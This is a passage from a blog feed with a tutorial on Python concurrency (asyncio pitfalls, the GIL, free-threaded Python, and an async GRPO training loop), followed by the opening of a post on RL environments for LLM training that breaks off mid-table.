<span class="kn">import</span> <span class="nn">time</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">task_a</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"A: start"</span><span class="p">)</span>
    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>  <span class="c1"># Regular sleep — BLOCKS everything!
</span>    <span class="k">print</span><span class="p">(</span><span class="s">"A: end"</span><span class="p">)</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">task_b</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"B: start"</span><span class="p">)</span>
    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>  <span class="c1"># Regular sleep — BLOCKS everything!
</span>    <span class="k">print</span><span class="p">(</span><span class="s">"B: end"</span><span class="p">)</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">gather</span><span class="p">(</span><span class="n">task_a</span><span class="p">(),</span> <span class="n">task_b</span><span class="p">())</span>

<span class="n">asyncio</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">main</span><span class="p">())</span>
</code></pre></div></div>

<p><strong>Output (takes 2 seconds!):</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A: start
A: end      ← A runs completely before B even starts
B: start
B: end
</code></pre></div></div>

<div class="mermaid">
flowchart LR
    A1["🔵 A: start"]:::taskA --&gt; A2["🔵 sleep(1)<br />🚫 BLOCKS"]:::taskAblock --&gt; A3["🔵 A: end"]:::taskA --&gt; B1["🟠 B: start"]:::taskB --&gt; B2["🟠 sleep(1)<br />🚫 BLOCKS"]:::taskBblock --&gt; B3["🟠 B: end"]:::taskB

    classDef taskA fill:#3b82f6,stroke:#1e40af,color:#fff
    classDef taskAblock fill:#93c5fd,stroke:#1e40af,color:#1e3a5f
    classDef taskB fill:#f97316,stroke:#c2410c,color:#fff
    classDef taskBblock fill:#fdba74,stroke:#c2410c,color:#7c2d12
</div>

<p>Compare with <code class="language-plaintext highlighter-rouge">await asyncio.sleep()</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">task_a</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"A: start"</span><span class="p">)</span>
    <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>  <span class="c1"># Yields control!
</span>    <span class="k">print</span><span class="p">(</span><span class="s">"A: end"</span><span class="p">)</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">task_b</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"B: start"</span><span class="p">)</span>
    <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>  <span class="c1"># Yields control!
</span>    <span class="k">print</span><span class="p">(</span><span class="s">"B: end"</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Output (takes 1 second!):</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A: start
B: start    ← B starts while A is waiting
A: end
B: end
</code></pre></div></div>

<div class="mermaid">
flowchart TD
    subgraph Concurrent["With await — 1 second total"]
        C1["🔵 A: start"]:::taskA --&gt; C2["🔵 await sleep(1)<br />💤 yields"]:::taskApause
        C2 --&gt; C3["🟠 B: start"]:::taskB --&gt; C4["🟠 await sleep(1)<br />💤 yields"]:::taskBpause
        C4 --&gt; C5["⚪ ...1 second passes..."]:::idle
        C5 --&gt; C6["🔵 A: end"]:::taskA --&gt; C7["🟠 B: end"]:::taskB
    end

    classDef taskA fill:#3b82f6,stroke:#1e40af,color:#fff
    classDef taskApause fill:#93c5fd,stroke:#1e40af,color:#1e3a5f
    classDef taskB fill:#f97316,stroke:#c2410c,color:#fff
    classDef taskBpause fill:#fdba74,stroke:#c2410c,color:#7c2d12
    classDef idle fill:#e5e7eb,stroke:#6b7280,color:#374151
</div>

<p><strong>The rule:</strong> <code class="language-plaintext highlighter-rouge">await</code> is the yield point. No <code class="language-plaintext highlighter-rouge">await</code> = no opportunity for other tasks to run.</p>

<!-- ### Async vs Threads: When to Use What?

| Aspect | Threads | Async |
|--------|---------|-------|
| Overhead | ~8KB per thread | ~480 bytes per coroutine |
| Scalability | Thousands | Hundreds of thousands |
| I/O Concurrency | ✅ Good | ✅ Excellent |
| CPU Parallelism | ❌ No (GIL) | ❌ No (single thread) |
| Code Complexity | Moderate | "async everywhere" |
| Existing Libraries | Most work | Need async versions | -->

<h3 id="common-async-mistakes-that-kill-performance">Common Async Mistakes That Kill Performance</h3>

<p>Async code looks simple, but there are several ways to accidentally destroy your concurrency. Here are the most common pitfalls:</p>

<h4 id="1-blocking-the-event-loop-with-cpu-work">1. Blocking the Event Loop with CPU Work</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">asyncio</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">process_image</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="c1"># ❌ This blocks the ENTIRE event loop!
</span>    <span class="c1"># No other coroutines can run during this computation
</span>    <span class="n">result</span> <span class="o">=</span> <span class="n">heavy_image_processing</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>  <span class="c1"># CPU-bound, no await
</span>    <span class="k">return</span> <span class="n">result</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="c1"># These run SEQUENTIALLY, not concurrently!
</span>    <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">gather</span><span class="p">(</span>
        <span class="n">process_image</span><span class="p">(</span><span class="n">img1</span><span class="p">),</span>
        <span class="n">process_image</span><span class="p">(</span><span class="n">img2</span><span class="p">),</span>
        <span class="n">process_image</span><span class="p">(</span><span class="n">img3</span><span class="p">),</span>
    <span class="p">)</span>
</code></pre></div></div>

<p><strong>The fix:</strong> Offload CPU work to a thread pool:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">process_image</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="n">loop</span> <span class="o">=</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">get_event_loop</span><span class="p">()</span>
    <span class="c1"># ✅ Run CPU work in a thread, freeing the event loop
</span>    <span class="n">result</span> <span class="o">=</span> <span class="k">await</span> <span class="n">loop</span><span class="p">.</span><span class="n">run_in_executor</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="n">heavy_image_processing</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">result</span>
</code></pre></div></div>

<h4 id="2-sequential-await-when-you-want-concurrency">2. Sequential <code class="language-plaintext highlighter-rouge">await</code> When You Want Concurrency</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">fetch_all_data</span><span class="p">():</span>
    <span class="c1"># ❌ These run one after another — 3 seconds total
</span>    <span class="n">user</span> <span class="o">=</span> <span class="k">await</span> <span class="n">fetch_user</span><span class="p">()</span>      <span class="c1"># 1 second
</span>    <span class="n">posts</span> <span class="o">=</span> <span class="k">await</span> <span class="n">fetch_posts</span><span class="p">()</span>    <span class="c1"># 1 second  
</span>    <span class="n">comments</span> <span class="o">=</span> <span class="k">await</span> <span class="n">fetch_comments</span><span class="p">()</span>  <span class="c1"># 1 second
</span>    <span class="k">return</span> <span class="n">user</span><span class="p">,</span> <span class="n">posts</span><span class="p">,</span> <span class="n">comments</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">fetch_all_data</span><span class="p">():</span>
    <span class="c1"># ✅ These run concurrently — 1 second total
</span>    <span class="n">user</span><span class="p">,</span> <span class="n">posts</span><span class="p">,</span> <span class="n">comments</span> <span class="o">=</span> <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">gather</span><span class="p">(</span>
        <span class="n">fetch_user</span><span class="p">(),</span>
        <span class="n">fetch_posts</span><span class="p">(),</span>
        <span class="n">fetch_comments</span><span class="p">(),</span>
    <span class="p">)</span>
    <span class="k">return</span> <span class="n">user</span><span class="p">,</span> <span class="n">posts</span><span class="p">,</span> <span class="n">comments</span>
</code></pre></div></div>

<h4 id="3-using-blocking-io-libraries">3. Using Blocking I/O Libraries</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>  <span class="c1"># Synchronous library!
</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">fetch_url</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="c1"># ❌ requests.get() blocks the entire event loop
</span>    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">response</span><span class="p">.</span><span class="n">json</span><span class="p">()</span>
</code></pre></div></div>

<p><strong>The fix:</strong> Use async-native libraries:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">aiohttp</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">fetch_url</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="c1"># ✅ aiohttp properly yields control during I/O
</span>    <span class="k">async</span> <span class="k">with</span> <span class="n">aiohttp</span><span class="p">.</span><span class="n">ClientSession</span><span class="p">()</span> <span class="k">as</span> <span class="n">session</span><span class="p">:</span>
        <span class="k">async</span> <span class="k">with</span> <span class="n">session</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span> <span class="k">as</span> <span class="n">response</span><span class="p">:</span>
            <span class="k">return</span> <span class="k">await</span> <span class="n">response</span><span class="p">.</span><span class="n">json</span><span class="p">()</span>
</code></pre></div></div>

<h4 id="4-creating-too-many-concurrent-connections">4. Creating Too Many Concurrent Connections</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">fetch_all</span><span class="p">(</span><span class="n">urls</span><span class="p">):</span>
    <span class="c1"># ❌ 10,000 simultaneous connections = angry servers, rate limits, crashes
</span>    <span class="k">return</span> <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">gather</span><span class="p">(</span><span class="o">*</span><span class="p">[</span><span class="n">fetch</span><span class="p">(</span><span class="n">url</span><span class="p">)</span> <span class="k">for</span> <span class="n">url</span> <span class="ow">in</span> <span class="n">urls</span><span class="p">])</span>
</code></pre></div></div>

<p><strong>The fix:</strong> Use a semaphore to limit concurrency:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">fetch_all</span><span class="p">(</span><span class="n">urls</span><span class="p">,</span> <span class="n">max_concurrent</span><span class="o">=</span><span class="mi">100</span><span class="p">):</span>
    <span class="n">semaphore</span> <span class="o">=</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">Semaphore</span><span class="p">(</span><span class="n">max_concurrent</span><span class="p">)</span>
    
    <span class="k">async</span> <span class="k">def</span> <span class="nf">fetch_limited</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
        <span class="k">async</span> <span class="k">with</span> <span class="n">semaphore</span><span class="p">:</span>
            <span class="k">return</span> <span class="k">await</span> <span class="n">fetch</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
    
    <span class="c1"># ✅ At most 100 concurrent requests
</span>    <span class="k">return</span> <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">gather</span><span class="p">(</span><span class="o">*</span><span class="p">[</span><span class="n">fetch_limited</span><span class="p">(</span><span class="n">url</span><span class="p">)</span> <span class="k">for</span> <span class="n">url</span> <span class="ow">in</span> <span class="n">urls</span><span class="p">])</span>
</code></pre></div></div>

<h4 id="5-forgetting-to-await">5. Forgetting to <code class="language-plaintext highlighter-rouge">await</code></h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">save_to_db</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="k">await</span> <span class="n">db</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">handler</span><span class="p">(</span><span class="n">request</span><span class="p">):</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">parse_request</span><span class="p">(</span><span class="n">request</span><span class="p">)</span>
    <span class="n">save_to_db</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>  <span class="c1"># ❌ Missing await! Returns a coroutine object, never executes
</span>    <span class="k">return</span> <span class="p">{</span><span class="s">"status"</span><span class="p">:</span> <span class="s">"saved"</span><span class="p">}</span>  <span class="c1"># False signal. Nothing was saved
</span></code></pre></div></div>

<p>Python emits a <code class="language-plaintext highlighter-rouge">RuntimeWarning: coroutine 'save_to_db' was never awaited</code> — but only at garbage collection time, not when the bug occurs. In noisy logs or production environments, this warning is easy to miss. Your function returns successfully, the response looks correct, but the database write never happened.</p>

<p><strong>The golden rule:</strong> Every long-running operation inside an async function needs an <code class="language-plaintext highlighter-rouge">await</code>. If there’s no <code class="language-plaintext highlighter-rouge">await</code>, there’s no concurrency — you’re just writing complicated synchronous code.</p>

<h3 id="the-mental-overhead">The Mental Overhead</h3>

<p>Every Python developer has had to internalize this decision tree:</p>

<div class="mermaid">
flowchart TD
    Start["Is my task CPU-bound or I/O-bound?"]

    Start --&gt; IO["I/O-bound"]
    Start --&gt; CPU["CPU-bound"]

    IO --&gt; Few["Few concurrent operations?"]
    IO --&gt; Many["Many concurrent operations?"]
    Few --&gt; Threading1["✅ threading"]
    Many --&gt; Asyncio["✅ asyncio"]

    CPU --&gt; NumPy["Can use NumPy/native libs?"]
    CPU --&gt; PurePython["Pure Python computation?"]
    CPU --&gt; ML["ML training?"]

    NumPy --&gt; Threading2["✅ threading (GIL released)"]

    PurePython --&gt; Rewrite["Can rewrite in Cython/Numba?"]
    PurePython --&gt; MustStay["Must stay pure Python?"]

    Rewrite --&gt; DoThat["✅ Do that"]
    MustStay --&gt; Multiprocessing["✅ multiprocessing"]

    ML --&gt; Framework["✅ Let PyTorch/TensorFlow handle it"]
</div>

<p>This complexity is what made the GIL such a pain point.</p>

<hr />

<h2 id="why-896-cpu-is-historic">Why 896% CPU is Historic</h2>

<h3 id="what-changed-pep-703">What Changed: PEP 703</h3>

<p><a href="https://peps.python.org/pep-0703/">PEP 703</a> proposed making the GIL optional. After years of work by Sam Gross and others, Python 3.13 shipped with an experimental <strong>free-threaded build</strong> (the <code class="language-plaintext highlighter-rouge">t</code> in <code class="language-plaintext highlighter-rouge">python3.14t</code>).</p>

<h3 id="what-896-cpu-means">What 896% CPU Means</h3>

<div class="mermaid">
flowchart TB
    subgraph Before["⛔ Before (with GIL) - Max CPU: ~100%"]
        B1["⚙️ Core 1<br />BUSY"]
        B2["⚙️ Core 2<br />IDLE"]
        B3["⚙️ Core 3<br />IDLE"]
        B4["⚙️ Core 4<br />IDLE"]
    end

    subgraph After["✅ After (free-threaded) - Max CPU: ~896%"]
        A1["⚙️ Core 1<br />BUSY"]
        A2["⚙️ Core 2<br />BUSY"]
        A3["⚙️ Core 3<br />BUSY"]
        A4["⚙️ Core 4<br />BUSY"]
        A5["... continuing to all 9 cores"]
    end
</div>

<p>For the first time in Python’s history, <strong>pure Python threads can execute truly in parallel</strong>.</p>

<h3 id="simple-code-actual-parallelism">Simple Code, Actual Parallelism</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># This now actually runs in parallel on free-threaded Python!
</span><span class="kn">import</span> <span class="nn">threading</span>

<span class="k">def</span> <span class="nf">cpu_work</span><span class="p">():</span>
    <span class="n">total</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100_000_000</span><span class="p">):</span>
        <span class="n">total</span> <span class="o">+=</span> <span class="n">i</span>
    <span class="k">return</span> <span class="n">total</span>

<span class="n">threads</span> <span class="o">=</span> <span class="p">[</span><span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">cpu_work</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">)]</span>
<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">threads</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">threads</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">join</span><span class="p">()</span>

<span class="c1"># Before: ~6 seconds (sequential, threads fighting for GIL)
# After:  ~0.8 seconds (parallel, all cores utilized)
</span></code></pre></div></div>

<!-- ---

## What This Means for You

### Short Term (Now - 2026)

The free-threaded build is **experimental**. Don't use it in production yet.

**Current limitations:**
- Many C extensions don't support it yet (NumPy, pandas working on it)
- Some single-threaded code runs ~40% slower due to overhead
- Not all packages are thread-safe

### Medium Term (2026-2028)

As the ecosystem adapts:
- Major libraries will support free-threading
- The performance gap will narrow
- More projects will adopt it for parallel workloads

### Long Term (2028+)

Eventually, the free-threaded build may become the default, and the GIL will be a historical footnote.

### What Should You Do Now?

1. **For I/O-bound work:** Continue using `asyncio` or `threading` — they work great

2. **For CPU-bound work:** 
   - Production: Still use `multiprocessing` or native extensions
   - Experimentation: Try the free-threaded build, report bugs

3. **If you maintain a C extension:** Start testing with free-threaded Python, add the necessary synchronization

4. **For ML/AI workloads:** The impact will be gradual — PyTorch/JAX already handle parallelism at the CUDA level. But free-threading could simplify data loading, preprocessing pipelines, and orchestration code.

--- -->

<h2 id="real-world-example-grpo-training-loop">Real-World Example: GRPO Training Loop</h2>

<p>Let’s look at a real async training loop from <a href="https://github.com/meta-pytorch/torchforge/">TorchForge</a> — a distributed RL framework. This is the main GRPO (Group Relative Policy Optimization) training script, and it’s a perfect example of why async shines for orchestrating distributed ML workloads.</p>

<p>The architecture is simple: <strong>32 rollout coroutines</strong> generate training data by calling remote services (dataloader, LLM generator, reward model), while <strong>1 training coroutine</strong> consumes from a shared replay buffer. All 33 coroutines run on a single thread, coordinated by the event loop.</p>

<h3 id="the-rollout-coroutine">The Rollout Coroutine</h3>

<p>Each rollout coroutine spends most of its time waiting for remote services:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">continuous_rollouts</span><span class="p">():</span>
    <span class="k">while</span> <span class="ow">not</span> <span class="n">shutdown_event</span><span class="p">.</span><span class="n">is_set</span><span class="p">():</span>
        <span class="c1"># 1. Sample from dataloader (I/O - await)
</span>        <span class="n">sample</span> <span class="o">=</span> <span class="k">await</span> <span class="n">dataloader</span><span class="p">.</span><span class="n">sample</span><span class="p">.</span><span class="n">call_one</span><span class="p">()</span>
        
        <span class="c1"># 2. Generate responses from LLM (I/O - await, ~seconds)
</span>        <span class="n">responses</span> <span class="o">=</span> <span class="k">await</span> <span class="n">generator</span><span class="p">.</span><span class="n">generate</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="n">prompt</span><span class="p">)</span>
        
        <span class="c1"># 3. Compute rewards (I/O - await)
</span>        <span class="n">reward</span> <span class="o">=</span> <span class="k">await</span> <span class="n">reward_actor</span><span class="p">.</span><span class="n">evaluate_response</span><span class="p">.</span><span class="n">route</span><span class="p">(...)</span>
        
        <span class="c1"># 4. Get reference logprobs (I/O - await)
</span>        <span class="n">ref_logprobs</span> <span class="o">=</span> <span class="k">await</span> <span class="n">ref_model</span><span class="p">.</span><span class="n">forward</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="n">input_ids</span><span class="p">)</span>
        
        <span class="c1"># 5. Compute advantages and add to buffer (I/O - await)
</span>        <span class="n">advantages</span> <span class="o">=</span> <span class="k">await</span> <span class="n">compute_advantages</span><span class="p">.</span><span class="n">compute</span><span class="p">.</span><span class="n">call_one</span><span class="p">(</span><span class="n">episodes</span><span class="p">)</span>
        <span class="k">await</span> <span class="n">replay_buffer</span><span class="p">.</span><span class="n">add</span><span class="p">.</span><span class="n">call_one</span><span class="p">(</span><span class="n">episode</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Every <code class="language-plaintext highlighter-rouge">await</code> is a yield point.</strong> While Rollout 1 waits for the generator, Rollouts 2-32 can make progress. This is I/O-bound concurrency — the CPU isn’t doing heavy work; it’s orchestrating remote calls.</p>

<h3 id="see-it-in-action">See It In Action</h3>

<p>Click “Step” to watch the event loop switch between coroutines at each <code class="language-plaintext highlighter-rouge">await</code>:</p>

<iframe src="/assets/visualizations/grpo-async-flow.html" width="100%" height="700" style="border: none; border-radius: 12px; margin: 20px 0;"></iframe>

<h3 id="the-training-coroutine">The Training Coroutine</h3>

<p>Meanwhile, a single training coroutine consumes from the replay buffer:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">continuous_training</span><span class="p">():</span>
    <span class="k">while</span> <span class="n">training_step</span> <span class="o">&lt;</span> <span class="n">max_steps</span><span class="p">:</span>
        <span class="n">batch</span> <span class="o">=</span> <span class="k">await</span> <span class="n">replay_buffer</span><span class="p">.</span><span class="n">sample</span><span class="p">.</span><span class="n">call_one</span><span class="p">()</span>
        <span class="k">if</span> <span class="n">batch</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
            <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>  <span class="c1"># Buffer empty — yield, let rollouts fill it
</span>        <span class="k">else</span><span class="p">:</span>
            <span class="k">await</span> <span class="n">trainer</span><span class="p">.</span><span class="n">train_step</span><span class="p">.</span><span class="n">call</span><span class="p">(</span><span class="n">batch</span><span class="p">)</span>
            <span class="k">await</span> <span class="n">trainer</span><span class="p">.</span><span class="n">push_weights</span><span class="p">.</span><span class="n">call</span><span class="p">()</span>
            <span class="k">await</span> <span class="n">generator</span><span class="p">.</span><span class="n">update_weights</span><span class="p">.</span><span class="n">fanout</span><span class="p">()</span>
</code></pre></div></div>

<h3 id="putting-it-together">Putting It Together</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Launch 32 rollout coroutines + 1 training coroutine
</span><span class="n">rollout_tasks</span> <span class="o">=</span> <span class="p">[</span><span class="n">asyncio</span><span class="p">.</span><span class="n">create_task</span><span class="p">(</span><span class="n">continuous_rollouts</span><span class="p">())</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">)]</span>
<span class="n">training_task</span> <span class="o">=</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">create_task</span><span class="p">(</span><span class="n">continuous_training</span><span class="p">())</span>

<span class="k">await</span> <span class="n">training_task</span>  <span class="c1"># Run until training completes
</span></code></pre></div></div>

<p><strong>The result:</strong> 32 concurrent rollouts, all making progress, all on a single thread. No GIL contention, no thread synchronization, no race conditions. The event loop efficiently multiplexes between coroutines at each <code class="language-plaintext highlighter-rouge">await</code> point.</p>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>The GIL was a reasonable design choice in 1991, but it became a painful limitation as multi-core CPUs became the norm. For decades, we worked around it with multiprocessing, C extensions, and async.</p>

<p>Python 3.13+’s free-threaded build changes everything: pure Python threads can finally use multiple cores. For RL workloads, this means simpler code for parallel environment rollouts, data preprocessing, and orchestration — without the overhead of multiprocessing or the complexity of async everywhere.</p>

<hr />

<h2 id="quick-reference-python-concurrency-cheat-sheet">Quick Reference: Python Concurrency Cheat Sheet</h2>

<div class="mermaid">
graph TB
    Title["<b>Python Concurrency Models</b>"]

    subgraph T1["threading (with GIL)"]
        T1A["<b>Best For:</b> I/O-bound tasks"]
        T1B["<b>Mechanism:</b> OS threads, shared memory<br />GIL limits CPU parallelism"]
    end

    subgraph T2["threading (no-GIL) 🎉"]
        T2A["<b>Best For:</b> I/O AND CPU-bound tasks!"]
        T2B["<b>Mechanism:</b> OS threads, shared memory<br />True parallelism!"]
    end

    subgraph T3["asyncio"]
        T3A["<b>Best For:</b> High-concurrency I/O"]
        T3B["<b>Mechanism:</b> Single thread, event loop<br />Cooperative multitasking"]
    end

    subgraph T4["multiprocessing"]
        T4A["<b>Best For:</b> CPU-bound tasks (legacy/stable)"]
        T4B["<b>Mechanism:</b> Separate processes, IPC<br />Heavy but truly parallel"]
    end

    subgraph T5["C extensions (NumPy etc)"]
        T5A["<b>Best For:</b> Performance-critical compute"]
        T5B["<b>Mechanism:</b> Native code, releases GIL<br />Best of both worlds"]
    end
</div>

<hr />

<p><em>If you found this helpful, you might also enjoy my posts on <a href="/rl-environments">RL environments for LLM training</a> and <a href="/distributed-training">distributed training infrastructure</a>.</em></p>

<!-- # Background

# The Event Loop

# Async/Await Fundamentals

## Coroutines

## Tasks and Futures

# Common Patterns

## Concurrent Operations

## Error Handling

## Timeouts and Cancellation

# When to Use Async

## Async vs Threading vs Multiprocessing

## Performance Considerations

# Real-World Examples

## Web Requests

## Database Operations

## File I/O

# Common Pitfalls

## Blocking the Event Loop

## Mixing Sync and Async Code

## Resource Management

# Best Practices

# Conclusion

# References -->]]></content><author><name>Murali Manohar</name><email>kmanoharmurali@gmail.com</email></author><category term="programming" /><category term="python" /><category term="Python" /><category term="Async" /><category term="Concurrency" /><category term="Programming" /><category term="asyncio" /><category term="Event Loop" /><category term="Coroutines" /><summary type="html"><![CDATA[A deep dive into Python's asynchronous programming model - from the event loop to async/await, understanding when and how to write concurrent code]]></summary></entry><entry><title type="html">An Overview of RL Environments</title><link href="https://gitlostmurali.com/rl-environments" rel="alternate" type="text/html" title="An Overview of RL Environments" /><published>2025-12-20T05:00:00+00:00</published><updated>2025-12-20T05:00:00+00:00</updated><id>https://gitlostmurali.com/rl-environments</id><content type="html" xml:base="https://gitlostmurali.com/rl-environments"><![CDATA[<h1 id="background">Background</h1>

<p>Reinforcement learning works on the FAFO principle → Fool Around and Find Out (<a href="https://gitlostmurali.com/blog/grpo-intro">more on this here</a>). But to fool around, LLMs need a playground: an <em>environment</em> where they can take actions, observe outcomes, and learn from their mistakes.</p>

<!-- If you've ever played a video game, you already grasp the core idea of RL environments.  -->

<figure style="max-width: 400px; margin: 0 auto;">
    <a href="https://gitlostmurali.com//assets/images/environments/car_arrows.png"><img src="https://gitlostmurali.com//assets/images/environments/car_arrows.png" style="width: 100%; height: auto;" /></a>
    <figcaption><b>Figure 1:</b> <i>A car racing game illustrating the RL loop: actions (arrows for up/left/right) lead to observations (track state) and rewards (progress towards finish line)</i></figcaption>
</figure>

<p>In the above game, the player’s actions (↑/↓/←/→) decide the outcome of the game:</p>
<ol>
  <li>Did you crash?</li>
  <li>Did you successfully cross the finish line? or</li>
  <li>Are you still racing?</li>
</ol>

<p>This <strong><em>action → outcome loop</em></strong> is exactly what RL environments provide for LLM training. 
<!-- This blog is an attempt to synthesize findings from the existing literature and blogs online. --></p>

<h1 id="the-anatomy-of-an-environment">The Anatomy of an Environment</h1>

<!-- At its core, an RL environment is a state machine that responds to an agent’s actions with new observations and rewards.  -->
<p>Whether you’re training a robot to walk or an LLM to write code, the core interface remains the same (mostly):</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Environment</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">reset</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Observation</span><span class="p">:</span>
        <span class="s">"""Reset the environment to initial state"""</span>
        <span class="k">pass</span>
    
    <span class="k">def</span> <span class="nf">step</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">action</span><span class="p">:</span> <span class="n">Action</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Tuple</span><span class="p">[</span><span class="n">Observation</span><span class="p">,</span> <span class="n">Reward</span><span class="p">,</span> <span class="n">Done</span><span class="p">,</span> <span class="n">Info</span><span class="p">]:</span>
        <span class="s">"""Take an action and return the outcome"""</span>
        <span class="k">pass</span>
</code></pre></div></div>
<!-- 
In our car racing analogy:

- **Action**: Your keyboard input (up/down/left/right)
- **Observation**: The current game state (car position, track layout, other cars)
- **Reward**: Points for moving forward, penalty for hitting walls
- **Done**: Whether the race is over (finished, crashed, or timed out)
- **Info**: Additional metadata (lap time, fuel remaining)

For LLM environments:
- **Action**: The model's generated text response
- **Observation**: Tool outputs, error messages, test results, environment feedback
- **Reward**: Score from verifier (correctness, helpfulness, etc.)
- **Done**: Whether to stop or continue interacting with the environment (task complete, max turns reached, etc.)
- **Info**: Execution traces, intermediate states -->

<p>In our car racing analogy versus LLM training, the parallel is as follows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌────────────────────────────────────────────────────────────────────────────┐
│                              RL ENVIRONMENT                                │
├────────────────────────────┬───────────────────────────────────────────────┤
│         CAR RACING         │               LLM TRAINING                    │
